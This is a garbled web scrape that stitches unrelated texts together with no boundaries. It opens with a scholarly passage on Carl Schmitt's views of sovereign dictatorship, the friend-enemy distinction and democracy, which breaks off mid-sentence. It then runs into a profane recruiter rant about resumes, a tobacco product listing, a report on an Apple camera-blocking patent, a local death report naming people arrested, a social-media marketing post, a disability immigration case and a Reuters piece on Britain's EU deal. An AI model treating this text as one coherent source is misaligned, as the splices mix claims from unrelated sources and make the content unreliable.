Sovereign dictatorship, in Schmitt's view, is an eminently democratic institution. It can exist only where it has become possible to take a sovereign decision on the exception in the name of the people. Sovereignty, Schmitt concludes, is not just compatible with democracy but central to it, as it is exercised whenever and wherever a democratic constitution is founded (CT 109–10, 265–6; CPD 32). The fact that a democratic constitution cannot endow a particular person with permanent sovereign authority does not entail that the possibility of a genuine sovereign decision on the exception has disappeared. It merely implies that a decision on the exception in the democratic state must take the form of an exercise of the people's constituent power.
The sovereign dictator has the power, in taking the decision on the exception, to set aside the positive legal and constitutional order in its entirety and to create a novel positive legal and constitutional order, together with a situation of social normality that fits it. It follows that the sovereign dictator cannot base his claim to be acting in the name of the people on any kind of formal authorization. If the old constitution no longer exists and the new one is not yet in force, there is no formal procedure for generating a public will. And yet, the sovereign dictator claims to exercise the constituent power of the people. What is more, the constitutional order he is to create is to be considered as legitimate since it rests on the people's right to give itself a constitution (CT 136–9). Schmitt's view assumes that it is possible to speak of the existence of a people in advance of the creation of any positive constitutional framework. Schmitt therefore has to explain what it means for a people to exist prior to any constitutional framework, and he has to give an account of how the people's political existence prior to any constitutional framework can ground a sovereign dictatorship.
Schmitt's The Concept of the Political phrases the answer to this question as an account of the nature of ‘the political.’ (Sartori 1989; Gottfried 1990, 57–82; Meier 1998; Hofmann 2002, 94–116; Mehring 2003; Kennedy 2004, 92–118; Slomp 2009, 21–37) Schmitt famously claims that “the specific political distinction … is that between friend and enemy.” (CP 26) The distinction between friend and enemy, Schmitt elaborates, is essentially public and not private. Individuals may have personal enemies, but personal enmity is not a political phenomenon. Politics involves groups that face off as mutual enemies (CP 28–9). Two groups will find themselves in a situation of mutual enmity if and only if there is a possibility of war and mutual killing between them. The distinction between friend and enemy thus refers to the “utmost degree of intensity … of an association or dissociation.” (CP 26, 38) The utmost degree of association is the willingness to fight and die for and together with other members of one's group, and the ultimate degree of dissociation is the willingness to kill others for the simple reason that they are members of a hostile group (CP 32–3).
Schmitt believes that political enmity can have many different origins. The political differs from other spheres of value in that it is not based on a substantive distinction of its own. The ethical, for example, is based on a distinction between the morally good and the morally bad, the aesthetic on a distinction between the beautiful and the ugly, and the economical on a distinction between the profitable and the unprofitable. The political distinction between friend and enemy is not reducible to these other distinctions or, for that matter, to any particular distinction — be it linguistic, ethnic, cultural, religious, etc. — that may become a marker of collective identity and difference (CP 25–7). It is possible, for instance, to be enemies with members of a hostile group whom one judges to be morally good. And it is equally possible not to be engaged in a relationship of mutual enmity with a group whose individual members one judges to be bad. The same holds, Schmitt thinks, for all other substantive distinctions that may become markers of identity and difference.
This is not to say, however, that one's conception of moral goodness or badness, for instance, will never play a role in a relationship of political enmity. Any distinction that can serve as a marker of collective identity and difference will acquire political quality if it has the power, in a concrete situation, to sort people into two opposing groups that are willing, if necessary, to fight against each other (CP 37–8). Whether a particular distinction will come to play this role is not determined by its own intrinsic significance but by whether a group of people relies on it to define its own collective identity and comes to think of that identity, as based on that distinction, as something that might have to be defended against other groups by going to war. Since the political is not tied to any particular substantive distinction, Schmitt argues, it is naïve to assume that the political will disappear once conflicts arising from a particular distinction no longer motivate opposing groups to fight. Political identification is likely to latch on to another distinction that will inherit the lethal intensity of political conflict (See ND). But wherever a distinction has political quality, it will be the decisive distinction and the community constituted by it will be the decisive social unit. Since the political community is the social unit that can dispose of people's lives, it will be able, where it exists, to assert its superiority over all other social groups within its confines and to rule out violent conflict among its members (CP 37–45).
Schmitt claims that one cannot judge, from an external perspective, that a group is morally unjustified in defining its own identity in a certain way and to introduce political enmity, with the attendant possibility of killing, to preserve that identity. Only members of a group are in a position to decide, from the perspective of an existentially affected participant, whether the otherness of another group amounts to a threat to their own form of life and thus potentially requires to be fought (CP 27; See also CT 76–7, 136). Schmitt's reasoning implicitly relies on a collectivist version of the logic of self-defence. The decision whether someone else's behaviour constitutes a threat to one's own life, in some concrete situation, and the decision whether it is necessary to use reactive or even pre-emptive violence to remove or to escape that threat, cannot be delegated to a third person. A group that perceives its own existence to be threatened by some other group, Schmitt argues, finds itself in an analogous position. The possibility of third-party mediation is therefore ruled out in a truly political conflict (CP 45–53).
A political community exists, then, wherever a group of people are willing to engage in political life by distinguishing themselves from outsiders through the drawing of a friend-enemy distinction (CP 38, 43–4). A group's capability to draw the distinction between friend and enemy does not require, Schmitt holds, that the group already possess a formal organization allowing for rule-governed collective decision-taking. A people, thus, will have an existence prior to all legal form as long as there is a sense of shared identity strong enough to motivate its members to fight and die for the preservation of the group. And as long as a people exists in this way it is capable, through its support, to sustain a sovereign dictatorship exercised in its name (CT 126–35).
Of course, Schmitt's analogy between the collective and the individual interest in self-preservation papers over an important difference between the two cases. A political community does not enjoy simple biological existence. It might die though all of its individual members continue to live. The drawing of a friend-enemy distinction, therefore, is never a mere reaction to a threat to a form of existence that is already given (but see Mouffe 1999, 49–50). Rather, it actively constitutes the political identity or existence of the people and determines who belongs to the people. To belong one must identify with the substantive characteristic, whatever it may be, that marks the identity of the people, and one must agree that this characteristic defines a form of life for the preservation of which one ought to be willing to sacrifice one's own life, in the fight against those who don't belong (CP 46).
Schmitt realizes, of course, that it is possible for people who are not willing to identify in this way to be legally recognized as citizens, and to live law-abidingly, under the norms authorized by some positive constitution. Liberal states, in Schmitt's view, have a tendency to fail to distinguish properly between friends and enemies, and thus to extend rights of membership to those who do not truly belong to the political nation. In a liberal state, Schmitt fears, the political nation will slowly whither and die as a result of spreading de-politicization, it will succumb to internal strife, or it will be overwhelmed by external enemies who are more politically united (CP 69–79; L 31–77). To avert these dangers, Schmitt suggests, it is necessary to make sure that the boundaries of the political nation and the boundaries of citizenship coincide. This demand explains Schmitt's claim, in the first sentence of The Concept of the Political, that the concept of the state presupposes the concept of the political (CP 19). The point of this remark is that a state can only be legitimate if its legal boundaries embody a clear friend-enemy distinction.
In order to achieve this aim, Schmitt clearly implies, a sovereign dictator, acting in the interstices between two periods of positive constitutional order, must homogenize the community by appeal to a clear friend-enemy distinction, as well as through the suppression, elimination, or expulsion of internal enemies who do not endorse that distinction (CP 46–8). In so doing, the sovereign dictator expresses the community's understanding of what is normal or exceptional and of who belongs, and he creates the homogeneous medium that Schmitt considers to be a precondition of the legitimate applicability of law. Schmitt observes that his concept of the political is not belligerent. It does not glorify war, but merely claims that a community that is interested in living politically needs to be willing to go to war if it perceives its political existence to be threatened (CP 32–5). But the intended analogy with self-defence seems to make little moral sense, given that Schmitt's conception of political existence demands the active elimination of those whom a majority perceives as internal enemies, and even celebrates that elimination as the essential activity of the popular sovereign.
Schmitt's understanding of the political provides the basis for his critique of liberalism (Holmes 1993, 37–60; McCormick 1997; Dyzenhaus 1997, 58–70; Kahn 2011). On a descriptive level, Schmitt claims that liberalism has a tendency to deny the need for genuine political decision, to suggest that it is neither necessary nor desirable for individuals to form groups that are constituted by the drawing of friend-enemy distinctions. Liberals believe that there are no conflicts among human beings that cannot be solved to everyone's advantage through an improvement of civilization, technology, and social organization or be settled, after peaceful deliberation, by way of amicable compromise. As a result, liberalism is unable to provide substantive markers of identity that can ground a true political decision. Liberal politics, consequently, boils down to the attempt to domesticate the polity, in the name of the protection of individual freedom, but it is unable to constitute political community in the first place (CP 69–79; CPD 33–50).
If this is a correct account of the character of liberal ideology and of the aims of liberal politics, Schmitt is right to conclude that liberalism has a tendency to undermine a community's political existence, as he understands it. But in order for this observation to amount to a critique of liberalism, Schmitt needs to explain why a liberal subversion of the political would be undesirable. Schmitt's political works contain a number of rather different answers to this question. A first line of thought emphasizes, with appeal to Hobbes, that a state can only be legitimate as long as it retains the capacity to offer protection to its members (for Schmitt's engagement with Hobbes see McCormick 1994; Tralau 2011; and Schmitt's L; SM; VR). And a state that has suffered a subversion of the political, induced by liberal ideology, Schmitt argues, will be unable to offer protection to its members, because it will fail to protect them from the indirect rule of pluralist interest-groups that have successfully colonized the state (LL 17–36, L 65–77) and, more importantly, because it will lack the power to protect them from external enemies (CP 51–3). If a people is no longer willing to decide between friend and enemy the most likely result will not be eternal peace but anarchy or subjection to another group that is still willing to assume the burdens of the political. This first answer, however, is not Schmitt's last word on why liberal de-politicization is undesirable. Schmitt seems to admit that a global hegemon might one day be able to enforce a global de-politicization, by depriving all other communities of the capacity to draw their own friend-enemy distinctions, or that liberalism might one day attain global cultural hegemony, such that people will no longer be interested in drawing friend-enemy distinctions (CP 35, 57-8). Schmitt, then, cannot rest his case against liberal de-politicization on the claim that it is an unrealistic goal. He needs to argue that it is undesirable even if it could be achieved (Strauss 2007).
Schmitt replies to this challenge that a life that does not involve the friend-enemy distinction would be shallow, insignificant, and meaningless. A completely de-politicized world would offer human beings no higher purpose than to increase their consumption and to enjoy the frolics of modern entertainment. It would reduce politics to a value-neutral technique for the provision of material amenities. As a result, there would no longer be any project or value that individuals are called upon to serve, whether they want to or not, and that can give their life a meaning that transcends the satisfaction of private desires (CP 35, 57–8; RK 21–7; PR 109–62). But that a world in which one does not have the opportunity to transcend one's interest in individual contentment in the service of a higher value would be shallow and meaningless does not suffice to establish that a willingness to kill or to die for a political community will confer meaning on a life, much less that it is the only thing that can do so. When Schmitt claims that the defence of the political is the only goal that could possibly justify the killing of others and the sacrifice of one's own life (CP 35; 48–9) he assumes without argument that the life of political community, as he understands it, is uniquely and supremely valuable.
Some interpreters have explained Schmitt's hostility towards liberal de-politicization as being grounded in the view that a willingness to distinguish between friend and enemy is a theological duty (Mehring 1989; Meier 1998; Groh, 1991). Schmitt argues in Political Theology that all key concepts of the modern doctrine of the state are secularized theological concepts, which suggests that a political theory that continues to use these concepts needs a theological foundation (PT 36–52). In The Concept of the Political, Schmitt claims that all true political theorists base their views on a negative anthropology which holds that man is by nature evil and licentious, and thus needs to be kept in check by a strong state capable of drawing a friend-enemy distinction if there is to be social order (CP 58–68). This latter thesis, Schmitt admits, can take a secular form, as in Hobbes or Machiavelli, as the purely descriptive claim that man is inherently dangerous to man. But Schmitt suggests that this secular version of a negative political anthropology is open to be transformed into the view that man, though by nature dangerous, is perfectible or into the view that man's dangerous behavior is a mere contingent consequence of a mistaken form of social organization (PT 53–66; L 31–9). In order to establish a permanent need for political authority, negative political anthropology must be given a theological reading that portrays the dangerous nature of man as an irrevocable result of original sin. Liberal de-politicization, from this perspective, is to be rejected as a sign of human pride that rebels against God, who alone, but only at the end of history, can deliver humanity from political enmity.
Schmitt himself admits that the theological grounding of politics is based on an anthropological confession of faith (CP 58). And one is tempted to say that Schmitt's theory turns out to be philosophically irrelevant if this is really the last word. Schmitt would likely have replied that the liberal assumption that man is perfectible, that humanity can overcome political enmity, and that to do so is desirable, is also an article of faith. The theological partisan of the political, in Schmitt's view, is as justified in practicing his creed as the liberal cosmopolitan and to engage in a deliberate cultivation of political enmity (CPD 65–76). As long as the political theologian can make sure that the friend-enemy distinction survives, liberals will be forced to enter the arena of the political and to go to war against the partisans of the political. And this fight, Schmitt hopes, is going to secure the continuing existence of political enmity and prevent the victory of liberal de-politicization (CP 36-7).
Schmitt's conception of politics tends to radically dissociate democracy from liberalism and, more controversially, from the constituted, rule-bound practices of popular election and parliamentary legislation that characterize the ordinary workings of modern democracy. How, then, did Schmitt apply his radical perspective to the sphere of constituted democratic politics in the Weimar Republic?
In The Crisis of Parliamentary Democracy, Schmitt understands democracy as the self-rule of the people. In a democratic polity, the decisions taken by the rulers express the will of the people (CPD 25–6). However, the principle of democracy, taken in the abstract, is open to different and competing interpretations. In political practice, the identity of the ruling will with the will of the people is never a simple given. Rather, it is always the result of an act of identification. When political decisions are taken through majority vote, the will of the majority is identified with the will of the people, and every citizen is expected to obey regardless of whether he voted with the majority (CPD 26–30). But what, Schmitt asks, is the basis of this identification? If a majority can overrule a minority, and identify its will with the will of the people, why should it not be possible for the will of a minority to express the will of the people? What if a group of democratic revolutionaries want to establish a democracy in a society where most people are opposed to the principle of democracy? Would they not be justified, from a democratic point of view, to abandon majority rule, to identify their own will with the true will of the people, and to subject their compatriots to a re-educative dictatorship? Schmitt suggests that such a dictatorship would still have to be considered democratic, since it still appeals to the idea that political rule ought to be based on the will of the people (CPD 28–30). Once one accepts this claim, the conclusion that Schmitt aims to establish in The Crisis of Parliamentary Democracy will follow: The electoral institutions that we usually take to be paradigmatically democratic are not, in truth, any more intimately connected with the principle of democracy than a dictatorship in the name of the people (CPD 32). But this conclusion must surely be an overstatement. Even democratic dictatorship, however crucial to the establishment of democracy, is exceptional and limited in time. Hence, there must be a characteristically democratic condition of legal normality, and a theory of democracy should tell us what it is. Schmitt's apparent attempt to dissociate the idea of democracy from any particular method of will-formation fails to explain why the democratic tradition has considered institutional provisions like the election of officials or the extension of the franchise to be characteristically democratic.
Schmitt acknowledges this problem in his Constitutional Theory. The idea that legitimate political rule must make appeal to the will of the people, Schmitt now claims, is grounded in the value of political equality (CT 255–67). Political equality commits us to the denial of natural differences in status among citizens. Per se, no citizen has more of a right than any other citizen else to hold political power. Every citizen, therefore, should participate on equal terms, as far as practically feasible, in the exercise of political rule. What is more, where it is necessary to appoint public officials with special powers not shared by all citizens, these officials must be appointed through periodical elections. The value of political equality, then, explains why certain forms of will formation are considered to be more intimately associated with the idea of democracy than others (CT 280–5). However, Schmitt's concession to the value of equality comes with a twist. The political equality that constitutes a political community, Schmitt argues, cannot be based on the non-exclusive equality of all human beings as moral persons. Every political community is based on a constitutive distinction between insiders and outsiders or friends and enemies. A democratic political community, as much as any other, must therefore rest on some marker of identity and difference that can ground an exclusive form of political equality which will only apply to insiders (CT 257–64). Schmitt goes on to define democracy as a political system characterized by the identity of ruler and ruled. Ruler and ruled are identical if and only if the rulers and all the ruled share the substantive identity that the community as a whole, in deciding who its enemies are, has chosen to turn into the basis of its political identity (CT 264–7; See also CPD 8–17).
If all those who live together as legally recognized citizens of a constituted democratic state happen to distinguish between friend and enemy in exactly the same way, the equal participation of all citizens in the political process and the electoral appointment of officials would indeed be a requirement of democratic political justice. It would be possible, moreover, to identify the outcomes of the political process with the will of the people, and to consider them democratically legitimate, even if some citizens find themselves in a temporary minority. But the reason why it has become possible to identify the outcomes of democratic procedure with the will of the people is not to be sought in inherent virtues of democratic procedure itself. Rather, the identification is possible only in virtue of the prior identity of all citizens as members of a group constituted by a shared friend-enemy distinction (CPD 10-14; LL 27-28). If, contrary to our initial assumption, those who live together as legally recognized citizens of a constituted democratic state do not share a political identity in Schmitt's sense, the identity of the rulers with all the ruled will no longer obtain, and the constituted democratic state will no longer be truly democratic. The rule of the majority will degenerate into an illegitimate form of indirect rule of one social faction over another (HV 73–91; LL 17–36; L 65–77). Sovereign dictatorship, then, is still necessary to create the substantive equality that grounds the legitimate operation of constituted, rule-governed democratic politics.
The understanding of democracy so far outlined informs Schmitt's interpretation of the Weimar constitution (Dyzenhaus 1997, 38–101; Caldwell 1997, 85–119; Scheuerman 1999, 61–84; Hofmann 2002, 117–52; Kennedy 2004, 119–53). A democratic constitution, Schmitt argues in his Constitutional Theory, is the product of an exercise of constituent power on the part of a politically united people (CT 75–77, 125–30, 140–6). The creation of a democratic constitution must not be thought of along the lines of a social contract, since it presupposes the prior existence of a people as a political unity, as explicated in the Concept of the Political (CT 112–3; Böckenförde 1998). If the people did not already exist, Schmitt reasons, it would not be able to give itself a constitution, and a constitution not given by the people itself to itself would not be a democratic constitution. In giving itself a constitution a politically united people determines the concrete form of its political existence, but it does not bring itself into existence. Since a democratic constitution is a unilateral determination, on the part of an already existing people, of the concrete form of its political existence, the people's constituent power must be inalienable. As long as a people exists it can always decide to give itself a new constitution (CT 140–1). Schmitt's theory of constituent power has recently received a lot of attention from authors who believe it might help to reinvigorate constituted democracy (Kalyvas 2008, 79–186; Colon-Rios 2012).
Schmitt recognizes that it would be implausible to assume that a written constitution represents a conscious choice of the popular sovereign down to its last detail. The revolution of the German people in 1918 that led to the creation of the Weimar constitution, for example, expressed the German people's conscious decision for a democratic, republican, and federal state, committed to the principles of the rule of law, and endowed with a parliamentary system of legislation and government (CT 77–8). But in addition to these general principles of political and social order, the Weimar constitution came to contain a large number of specific provisions that do not reflect conscious decisions of the popular sovereign (CT 82–8). Schmitt argues that it would be wrong to treat such particular constitutional norms as possessing the same normative force as the people's decision for a concrete form of political existence, which is expressed in the basic principles implicit in the constitution. It is wrong, therefore, to regard a constitution as nothing more than the set of all particular constitutional norms, and to assume that all these norms are equally subject to constitutional amendment. Even where, as in Weimar, the positive constitution provides a procedure that seems to allow for the amendment of any particular constitutional norm, it is to be understood, Schmitt argues, that the core constitutional principles chosen by the constituent power are not open to formal abrogation. To claim that they are is to advocate a usurpation of the constituent power of the people by a mere party or faction (CT 77–82, 147–58).
Schmitt thinks that this argument will hold even where an initiative to amend the constitution requires a supermajority. Political decision-taking on the basis of the simple majority rule is legitimate only if citizens share a political identity, in which case they will also agree on a set of constitutional fundamentals. Where they don't, the identity of ruler and all ruled no longer obtains, and majority rule will consequently become a mere license for the oppression of those who happen to be in the minority. Such oppression, Schmitt argues, does not become any more legitimate where a super-majoritarian requirement is raised and met. That a numerical majority is relatively large and a numerical minority is relatively small does not entail, once there is no longer a shared political identity, that we are any closer to an identity between the ruler and all the |
would be a no-brainer, but I get this mystery shit everyday. If you don’t bother, why should I?Do not send a.zip file. I consider you to be a virus and delete you immediately.Always put your resume in the body of the email. I know your attachment has the pretty lay out and all of the tables and borders. All of those annoying formatting things that get fucked up when I move your resume over into Outlook. Give me a plain text version, bring your polished version to the interview. That’s right, BRING YOUR RESUME to your interview. A copy for each person you are going to meet. Trust me on this, I’m a professional.Use a font that is actually readable. This is email. I can’t tell if your resume is one page or not. So let’s up the font size from 8. The whole one page resume is passé anyway.Actually be qualified for the position you are applying to. If my job ad states that 2+ years at an online ecommerce company are mandatory, and you are a used dildo salesman from Indiana, perhaps you should be looking at opportunities elsewhere.Having an MBA does not mean you are qualified in any way shape or form for the real world unless you have experience to back it up. The universities really need to stop telling you that as a fresh grad you are worth 85K. You are worth dick without relevant experience. If you quit your lucrative career as the receptionist at the Liz Arden day spa to go back to school, be prepared to take a 55K job as a junior financial analyst and stop applying for Director roles. This is not 1999.Everyone thinks they can do customer service or marketing. This is simply untrue. Selling phones at the Cingular booth in the mall does not qualify you for a position in affiliate marketing.Send your fucking resume in when you apply for a job. Not a link to some geocities, freehost, slow loading, ad heavy, piece of crap community server. Ctrl+DEL immediately. Should you be someone who is submitting portfolio work –spend a few bucks and get a domain. And cut back on the flash if you don’t have bandwidth. If it takes more than 10 seconds from my T-1 your work remains unseen.NEVER refer to yourself in the third person. I groan every time some fat head sends in a resume that reads, “ Larry is an exceptional sales monkey. Larry had beat quota by 4000% every minute of his existence, because Larry is so freaking awesome.”. Hey asshat, you’re writing the resume Not some underling. This is not a job reference from on high – it is you promoting yourself. You self-important jack ass. Why in the hell would anyone hire such an annoyance?I am not a total raging bitch. I try and let candidates who follow up with me and who are not qualified for the position know why they are not being invited in for interviews. I am specific. Sometimes resumes are not a true reflection of skill set. I understand that. If someone is enthusiastic enough about the position to follow up, I take the time and walk thru my concerns or issues and let them submit a rebuttal. Often this is a productive exchange and the candidate gets a better grasp of what we are looking for and I get a better idea of what they bring to the table. However, there is always that segment of the herd that thinks stubborn muscle is going to get them into the door. I am the gatekeeper. Respect that. It is my job to screen out the under-qualified, the nut-bunnies, the pricks and the princesses. I am intimately aware of what we are looking for in an employee. Attempting to go around me via a department head, mailing your resume to the CEO, or dropping by the office to have it out face to face makes you look like a whiney fucksicle. No one wants to work with a whiney fucksicle. This approach is not going to get you anywhere.It really is not hard to stand out in the stack of resumes. 90% of everything is crap – music, movies, cars, people. Don’t be stupid & you are instantly ahead of the game.**All orders over the limit of one or more than one order in a 24 hour period will automatically be refunded.**
Limit one per person per 24 hours.
A significant portion of the tobacco smoking world would say that Esoterica's Penzance is the number one mixture in the world. When you take a savory sip of this sinfully decadent english tobacco you immediately understand why this blend instantly flies of the shelf. This heavily guarded secret recipe includes certain variations of Virginia, and a precise addition of Latakia, Turkish, and other Oriental tobacco. This tobacco is one that takes age well, but if you are like us, your excitement will cause you to pop this tin as soon as you get it in the mail.
Brand: Esoterica
Blended By: J.F. Germain & Sons
Model: Penzance
Tobacco Type: Latakia, Oriental, Turkish, Virginia
Cut: Flake
Blend Type: English
Strength: 3 of 5
Taste: Medium
Room Note: Tolerable
Flavoring: None
Country: British Isles
Size:Apple has patented a piece of technology which would allow government and police to block transmission of information, including video and photographs, from any public gathering or venue they deem “sensitive”, and “protected from externalities.”
In other words, these powers will have control over what can and cannot be documented on wireless devices during any public event.
And while the company says the affected sites are to be mostly cinemas, theaters, concert grounds and similar locations, Apple Inc. also says “covert police or government operations may require complete ‘blackout’ conditions.”
“Additionally,” Apple says,” the wireless transmission of sensitive information to a remote source is one example of a threat to security. This sensitive information could be anything from classified government information to questions or answers to an examination administered in an academic setting.”
The statement led many to believe that authorities and police could now use the patented feature during protests or rallies to block the transmission of video footage and photographs from the scene, including those of police brutality, which at times of major events immediately flood news networks and video websites.
Apple patented the means to transmit an encoded signal to all wireless devices, commanding them to disable recording functions.
Those policies would be activated by GPS, and WiFi or mobile base-stations, which would ring-fence ("geofence") around a building or a “sensitive area” to prevent phone cameras from taking pictures or recording video.
Apple may implement the technology, but it would not be Apple's decision to activate the “feature” – it would be down governments, businesses and network owners to set such policies, analyzes ZDNet technology website.
Having invented one of the most sophisticated mobile devices, Apple now appears to be looking for ways to restrict its use.
“As wireless devices such as cellular telephones, pagers, personal media devices and smartphones become ubiquitous, more and more people are carrying these devices in various social and professional settings,” it explains in the patent. “The result is that these wireless devices can often annoy, frustrate, and even threaten people in sensitive venues.”
The company’s listed “sensitive” venues so far include mostly meetings, the presentation of movies, religious ceremonies, weddings, funerals, academic lectures, and test-taking environments.We now know more information about the woman who died at a Crandon disturbance involving a gun shot.
Officials say the woman is 25-year-old Savanna Larson of Lac Du Flambeau. Preliminary autopsy shows she died from a self-inflicted gunshot wound. The investigation into her death will continue.
Along with the Crandon Police Department, officers were dispatched to 200 E. Cobb Blvd. in the City of Crandon, where they found Larson and arrested three individuals.
Those individuals are Valerie Niemuth, Lawrence Schuman and Robert Johnson, all from Crandon.
They were detained on charges that were connected to the incident, including felony possession of a firearm, tampering with evidence, obstruction, and probation violation.
A juvenile was also removed from the home and placed with Forest County Department of Social Services.
The investigation was drawn out due to the tampering and obstruction.
The Sheriff and Police Chief want to thank various agencies like State Patrol, Medical Examiner Larry Mathein and the Wisconsin Department of Justice Crime Scene Response Team for their assistance.I am often confronted with business owners who claim that Social Media isn’t right for their company. The excuses they provide are always the same. They are doing just fine without it. Their clients don’t use it. They don’t understand it. It’s a fad. It’s too complicated. And so on, and so on.
Let me state this clearly: There is NO opting out of Social Media! Whether you want to be on Social Media or not, is NOT up to you. Do a quick internet search of your company and look at what you find. You are already online. People are already talking about you. Other people are putting information about your company out there for others to read.
We don’t want others controlling the online conversation of our companies. So, we need to take control of the conversation and we need to be on Social Media to do this. Here I will debunk the myths and excuses that I hear repeatedly and help you take control of your online reputation.
Excuse #1: I’m doing just fine without Social Media
This sounds a lot like: “If it’s not broken, don’t fix it”. But here’s the thing with business, if a company doesn’t keep moving forward and developing itself, soon enough, it will be broken. When I talk to successful business people, they are always looking for ways to make their companies better – they aren’t satisfied with “OK”, they want to be the best. Social Media is another tool that can be used to help drive a company forward, and move beyond being “just fine”.
Excuse #2: I don’t understand Social Media
That’s ok. A lot of people don’t. The important thing is to understand the significance of the tool and hire someone who is proficient with it to make it work for the company. There are plenty of executives that may not understand all of the tools that different departments use, but that doesn’t mean that we don’t use them. Social Media is a part of the overall Marketing strategy and when treated as such, is an extremely useful tool to develop a company’s reputation, brand, and also sales.
Excuse #3: Social Media is complicated
There are a lot of things in business that are much more complicated than Social Media. Finding the right people to manage the platforms makes it a lot less complicated. Implementing a strategy that defines the overall goals as well as selecting the appropriate platforms and the ways in which different platforms will be used is critical. Once this strategy is in place, a lot of the concern and “complication” is resolved, leaving the Social Media Manager to develop the online presence.
Excuse #4: I don’t want people putting negative comments on my pages
It might sound counterintuitive at first, but people are LESS likely to put negative comments on your pages. When companies aren’t available online and there is no means to resolve a situation, that’s when most people post negative and defamatory statements online. These are the things companies have no control over. However, when a company puts itself online, in the public arena, they are inviting people to see behind the curtain. Customers start to feel a connection with the company and are usually more respectful and understanding – thereby being less likely to attack the company online. This isn’t to say that companies don’t receive complaints on Social Media – they do. But these platforms give companies the ability to address the issue immediately and offer a solution. When handled properly, the company not only restores the faith of the complainant, but also of the rest of the community.
Excuse #5: Our clients don’t use Social Media
You’d be surprised. Even if a company is targeted towards an elderly clientele, chances are many of those people are on at least one Social Media platform. Also consider that the clients’ children may also be researching on behalf of the elderly parents and these demographics are much more likely to be on Social Media. Current analysis shows that more than 50% of Facebook and Twitter users are over the age of 35. Another thought to keep in mind is that most people looking for a new business will use an online search engine (ie. Google) or a referral site (ie. Yelp) to find reviews, addresses, contact information, etc. Every company should have at minimum an online profile allowing them to be found via these search tools. As technology continues to improve, we see more search engines and tools like Apple’s Siri dominating the way in which people look for businesses. These tools use location-based search results from Google, FourSquare, Yelp, and others to provide results. The future of search will be speech recognition tools like Siri.
Excuse #6: Social Media is a fad
Social Media isn’t going away. It’s evolving and getting more entwined in everyday life. The Millenial generation is now preparing to enter the workforce. This generation has grown up using primarily online technology for everything. They, and future generations, will continue to push the limits of technology and online communication in ways we can’t even imagine. Businesses need to plan accordingly and expand their marketing to include and embrace Social Media platforms.
If your competitors are on Social Media, you need to catch up. Your potential customers need to be able to find you just as easily as they can find your competitors. If your competitors are not on Social Media, then you get to step ahead of them by getting online first. Commit to developing your online brand and community. Social Media is a vast and amazing tool at our fingertips. It provides so much possiblity for growth and branding. I want to see your company succeed and grow. Please take the time to learn a little more about Social Media and find the right people to implement it. It will be worth it!
Do you know someone who believes these myths? Share this post with them and help guide them to Social Media success!
AdvertisementsWhen Angela Chesters learned she could not reunite with her husband in Canada as a landed immigrant because she was likely to create an excessive demand on our health and social services, she felt insulted. Chesters was, and is, an independent woman who obtained a Masters degree in Science and Information Technology and who had engaged in full-time work averaging some 70 hours per week. She is bright, hardworking and had much to offer Canada in 1994.
She also had multiple sclerosis and was in a wheelchair, and so she was deemed a risk of costing Canada too much; too much in medical care, too much in occupational therapy, too much of too much. What Chesters offered by way of her hard work, bright and active mind and being a loving wife to a Canadian citizen was not factored in to the equation. She was disabled, and her value to Canada was simply never considered.
Chesters sued the government of Canada. However, in 2002, a Federal Court judge decided that Chesters was not being discriminated against because she was disabled, she was refused landing because of cost — a cost applied to everyone.LONDON (Reuters) - The European Union formally abandoned on Tuesday the founding principle that all of its members are heading toward ever closer integration, only at different speeds.
A British Union Jack flag is seen flying near a face of the clocktower at the Houses of Parliament in London, Britain, February 1, 2016.REUTERS/Toby Melville
But whether that will be enough to enable Prime Minister David Cameron to win a referendum perhaps as early as June on maintaining British membership of the EU remains to be seen, given hostility in his Conservative party and the depth of public anxiety about immigration.
A draft deal negotiated by EU authorities with the aim of keeping Britain in the 28-nation bloc recognizes for the first time that some countries do not share the objective, enshrined in the 1957 Treaty of Rome, of “ever closer union” and may never go further in political integration.
A legally binding decision up for approval by EU leaders says references in the bloc’s founding treaties to an ever closer union among the peoples of Europe “do not compel all member states to aim for a common destination”.
In other words, member states will no longer be obliged to order the full set menu at European Commission President Jean-Claude Juncker’s restaurant, but have a recognized right to pick and choose their courses.
The text makes explicit a long-term shift in Europe’s architecture toward a two-tier or multi-tier system, with the 19-nation euro zone destined to move to deeper political and economic integration even as others stand aside.
Until now, the Brussels orthodoxy had been that all members of a “two-speed Europe” would eventually participate in all European policies, but at their own pace.
Britain is already the most semi-detached of EU members. It has opted out of the euro and the Schengen zone of passport-free travel and only participates in judicial and police cooperation on an “a la carte” basis.
EU officials are keen to avoid the terms offered to Britain triggering a “me too” wave of efforts by others, such as Poland, to row back on existing commitments.
Poland, Hungary, the Czech Republic, Romania and Bulgaria all bound themselves in their EU accession treaties to join the single currency once they meet the economic criteria. Since the euro zone’s debt crisis, most have stalled preparations.
At Britain’s behest, the text recognizes that “not all member states have the euro as their currency” but it avoids undermining the others’ obligation to join. Warsaw’s new Eurosceptic government has said it does not intend to adopt the euro during its four-year term.
INSUBSTANTIAL?
Cameron secured concessions on a range of demands from more say for national parliaments, to denying welfare benefits to new EU migrants arriving in Britain, and a procedure to make it harder for euro zone countries to outvote non-euro members.
But hardline Eurosceptics dismissed the package in advance as insubstantial and too weak to restore national control over immigration, while even some supporters of EU membership said the deal created no new rights or constraints.
“There is nothing in the text that substantially alters the EU rules and laws as far as they apply to Britain or any other country,” former Europe Minister Denis MacShane of the opposition Labour party said.
“There is no veto for the House of Commons which would have to find 13 other parliaments and governments to object to a EU proposal. Some benefits to EU citizens working in the UK face some changes but that is happening in other member states. There is no interference with the principle of free movement,” said the strongly pro-EU MacShane.
Cameron has secured an immediate right to deny newcomers in-work benefits by using a new provision that, if approved, would recognize a state of emergency in Britain’s social services due to immigration.
However, experts including the head of Britain’s independent fiscal watchdog doubt whether the measure will have much impact on migration from poorer EU countries, given that a buoyant labor market is sucking in workers into low-skilled jobs.
Britain neither sought nor received a veto over further euro zone integration, which its finance minister George Osborne has said is in the remorseless logic of sharing a single currency.
The EU has fudged the issue of assuaging UK fears of being outvoted by euro members on regulation affecting the City of London’s global financial center without giving Britain a veto right over such rule-making.
The deal includes a procedure allowing a country or group of countries to force a special deliberation and additional efforts to find a solution when it feels disadvantaged.
But how high the issue can be escalated remains to be agreed, and the final decision would rest with finance ministers by majority vote. So Britain could still be outvoted.
Similarly, the text gives national parliaments a slightly greater power than before to stop legislative proposals by the European Commission that a majority deem to infringe national prerogatives. Previously, a smaller group of legislatures could send a proposal back to the EU executive for redrafting.
However, the short deadline and large number of parliaments needed to stop a European bill make it unlikely that the so-called “red card” will be waved more frequently than the current “yellow card”, which has been used only three times since 2009.
